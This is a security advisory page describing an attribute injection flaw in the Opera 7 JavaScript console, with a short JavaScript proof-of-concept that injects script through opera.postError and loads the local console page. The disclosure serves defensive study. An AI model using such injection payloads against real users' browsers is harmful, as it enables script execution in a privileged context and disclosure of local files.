Opera JavaScript Console Single Quote Attribute Injection Vulnerability

BID:7449

Info

Opera JavaScript Console Single Quote Attribute Injection Vulnerability

Bugtraq ID: 7449
Class: Input Validation Error
CVE:
Remote: Yes
Local: No
Published: Apr 28 2003 12:00AM
Updated: Apr 28 2003 12:00AM
Credit: Discovery of this issue is credited to nesumin <[email protected]>.
Vulnerable: Opera Software Opera Web Browser 7.10
Opera Software Opera Web Browser 7.0 3win32
Opera Software Opera Web Browser 7.0 2win32
Opera Software Opera Web Browser 7.0 1win32
Not Vulnerable:

Discussion

Opera JavaScript Console Single Quote Attribute Injection Vulnerability

A vulnerability has been reported for Opera 7 browsers for Microsoft Windows operating systems. The vulnerability exists in the Opera JavaScript console. Attackers may exploit the vulnerability to execute script code in a sensitive context. Exploitation of this vulnerability may lead to disclosure of local file contents.

This issue is a variant of the vulnerability described in BID 6755, but is also reported to affect patched versions of the browser.

Exploit / POC

Opera JavaScript Console Single Quote Attribute Injection Vulnerability

The following proof-of-concept examples were provided:

var message = "http://');alert(location.href+'";
opera.postError( message );
location.href = "file://localhost/console.html";

var message = "http://&#39;);alert(location.href+&#39;";
opera.postError( message );

Additional exploit examples can be found in the attached Bugtraq reference.
location.href = "file://localhost/console.html";

References

Opera JavaScript Console Single Quote Attribute Injection Vulnerability

References:

© CVE.report 2026

Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user's risk. It is the responsibility of user to evaluate the accuracy, completeness or usefulness of any information, opinion, advice or other content. EACH USER WILL BE SOLELY RESPONSIBLE FOR ANY consequences of his or her direct or indirect use of this web site. ALL WARRANTIES OF ANY KIND ARE EXPRESSLY DISCLAIMED. This site will NOT BE LIABLE FOR ANY DIRECT, INDIRECT or any other kind of loss.

CVE, CWE, and OVAL are registred trademarks of The MITRE Corporation and the authoritative source of CVE content is MITRE's CVE web site. This site includes MITRE data granted under the following license.

Free CVE JSON API cve.report/api

CVE.report and Source URL Uptime Status status.cve.report